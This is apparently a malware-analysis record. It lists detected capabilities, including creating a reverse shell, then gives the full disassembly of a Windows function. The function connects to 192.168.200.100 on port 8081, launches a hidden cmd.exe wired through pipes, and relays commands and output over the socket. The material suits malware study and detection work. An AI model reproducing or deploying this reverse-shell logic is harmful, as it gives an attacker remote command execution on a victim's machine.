Function at 0x140001000
Capabilities:
Connect socket
Create pipe
Create process on windows
Create reverse shell
Download and write a file
Initialize winsock library
Read and send data from client to server
Read file on windows
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x11f0]
mov eax, 0x12f0
call fcn.140002020
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x11e0], rax
mov ecx, 0x202
lea rdx, [rbp + 0x40]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov edx, 1
mov esi, 2
mov ecx, esi
mov ebx, eax
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
test ebx, ebx
jne 0x1400012c5
cmp rax, 0xffffffffffffffff
je 0x1400012c5
mov ecx, 0x1f91
mov word [rbp + 0x28], si
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.192.168.200.100
mov word [rbp + 0x2a], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
lea r8d, [rsi + 0xe]
mov rcx, rdi
lea rdx, [rbp + 0x28]
mov dword [rbp + 0x2c], eax
call qword [sym.imp.WS2_32.dll_connect]
xor ebx, ebx
mov dword [rbp - 0x80], 0x18
xor r9d, r9d
mov qword [rbp - 0x78], rbx
lea r8, [rbp - 0x80]
mov dword [rbp - 0x70], 1
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xor r9d, r9d
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xor r9d, r9d
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
mov rcx, qword [rsp + 0x50]
lea edx, [rsi - 1]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rcx, qword [rsp + 0x58]
lea edx, [rsi - 1]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rcx, qword [rsp + 0x78]
lea edx, [rsi - 1]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
xor eax, eax
mov dword [rbp - 0x50], 0x68
mov qword [rbp - 0xc], rax
lea rcx, str.C:WindowsSystem32cmd.exe
mov dword [rbp - 4], eax
xorps xmm0, xmm0
mov rax, qword [rsp + 0x60]
xor r9d, r9d
mov qword [rbp], rax
xor r8d, r8d
mov rax, qword [rsp + 0x68]
xor edx, edx
mov qword [rbp + 8], rax
mov rax, qword [rsp + 0x70]
mov qword [rbp + 0x10], rax
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
psrldq xmm0, 8
movd eax, xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
bts eax, 8
mov dword [rbp - 0x14], eax
xor eax, eax
mov qword [rbp - 0x58], rax
lea rax, [rbp - 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor r9d, r9d
lea rdx, [rbp + 0x1e0]
mov r8d, 0x1000
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x14000127d
test eax, eax
je 0x14000127d
mov rcx, qword [rsp + 0x50]
lea r9, [rbp + 0x24]
mov r8d, eax
mov qword [rsp + 0x20], rbx
lea rdx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000127d
mov rcx, qword [rsp + 0x58]
lea r9, [rbp + 0x20]
mov r8d, 0x1000
mov qword [rsp + 0x20], rbx
lea rdx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000127d
mov r8d, dword [rbp + 0x20]
test r8d, r8d
je 0x14000127d
xor r9d, r9d
lea rdx, [rbp + 0x1e0]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea rdx, [rbp + 0x1e0]
mov r8d, 0x1000
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x1400011f0
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov al, 1
jmp 0x1400012c7
xor al, al
mov rcx, qword [rbp + 0x11e0]
xor rcx, rsp
call fcn.140001330
lea r11, [rsp + 0x12f0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret